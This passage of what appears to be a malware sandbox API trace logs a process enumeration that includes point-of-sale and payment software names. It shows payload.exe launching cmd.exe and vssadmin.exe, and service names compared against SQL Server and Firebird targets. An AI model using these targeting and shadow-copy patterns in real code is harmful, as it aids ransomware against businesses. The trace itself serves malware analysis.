th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0053.765] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0053.765] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0053.766] lstrlenW (lpString="active-charge.exe") returned 17 [0053.766] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0053.766] lstrlenW (lpString="accupos.exe") returned 11 [0053.766] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0053.767] lstrlenW (lpString="afr38.exe") returned 9 [0053.767] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0053.767] lstrlenW (lpString="aldelo.exe") returned 10 [0053.767] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0053.768] lstrlenW (lpString="ccv_server.exe") returned 14 [0053.768] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0053.768] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0053.768] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0053.769] lstrlenW (lpString="creditservice.exe") returned 17 [0053.769] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0053.769] lstrlenW (lpString="edcsvr.exe") returned 10 [0053.769] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0053.770] lstrlenW (lpString="fpos.exe") returned 8 [0053.770] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0053.770] lstrlenW (lpString="isspos.exe") returned 10 [0053.770] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0053.771] lstrlenW (lpString="mxslipstream.exe") returned 16 [0053.771] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0053.771] lstrlenW (lpString="omnipos.exe") returned 11 [0053.771] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0053.772] lstrlenW (lpString="spcwin.exe") returned 10 [0053.772] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0053.772] lstrlenW (lpString="spgagentservice.exe") returned 19 [0053.772] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0053.773] lstrlenW (lpString="utg2.exe") returned 8 [0053.773] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0053.773] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0053.773] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0053.774] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0053.774] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0053.774] lstrlenW (lpString="notebook.exe") returned 12 [0053.774] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0053.774] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0053.774] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0053.775] lstrlenW (lpString="current.exe") returned 11 [0053.775] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.775] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.775] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.776] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.776] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.776] lstrlenW (lpString="taskhost.exe") returned 12 [0053.776] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0053.777] lstrlenW (lpString="payload.exe") returned 11 [0053.777] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.777] lstrlenW (lpString="cmd.exe") returned 7 [0053.777] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.778] lstrlenW (lpString="conhost.exe") returned 11 [0053.778] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.778] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.778] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.778] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.778] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.779] lstrlenW (lpString="svchost.exe") returned 11 [0053.779] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.779] CloseHandle (hObject=0x210) returned 1 [0053.779] Sleep (dwMilliseconds=0x1f4) [0054.945] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ee21e8 [0054.945] EnumServicesStatusExW (in: hSCManager=0x3ee21e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0054.946] GetLastError () returned 0xea [0054.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0054.946] EnumServicesStatusExW (in: hSCManager=0x3ee21e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0054.946] CloseServiceHandle (hSCObject=0x3ee21e8) returned 1 [0054.947] lstrlenW (lpString="Appinfo") returned 7 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.947] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.947] lstrlenW (lpString="AudioSrv") returned 8 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.947] lstrlenW (lpString="BFE") returned 3 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.947] lstrlenW (lpString="CryptSvc") returned 8 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.947] lstrlenW (lpString="CscService") returned 10 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.947] lstrlenW (lpString="DcomLaunch") returned 10 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.947] lstrlenW (lpString="Dhcp") returned 4 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.947] lstrlenW (lpString="Dnscache") returned 8 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.948] lstrlenW (lpString="DPS") returned 3 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.948] lstrlenW (lpString="eventlog") returned 8 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.948] lstrlenW (lpString="EventSystem") returned 11 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.948] lstrlenW (lpString="gpsvc") returned 5 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.948] lstrlenW (lpString="iphlpsvc") returned 8 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.948] lstrlenW (lpString="LanmanServer") returned 12 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.948] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.948] lstrlenW (lpString="lmhosts") returned 7 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.948] lstrlenW (lpString="MMCSS") returned 5 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.949] lstrlenW (lpString="MpsSvc") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.949] lstrlenW (lpString="Netman") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.949] lstrlenW (lpString="netprofm") returned 8 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.949] lstrlenW (lpString="NlaSvc") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.949] lstrlenW (lpString="nsi") returned 3 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.949] lstrlenW (lpString="PcaSvc") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.949] lstrlenW (lpString="PlugPlay") returned 8 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.949] lstrlenW (lpString="Power") returned 5 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.950] lstrlenW (lpString="ProfSvc") returned 7 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.950] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.950] lstrlenW (lpString="RpcSs") returned 5 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.950] lstrlenW (lpString="SamSs") returned 5 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.950] 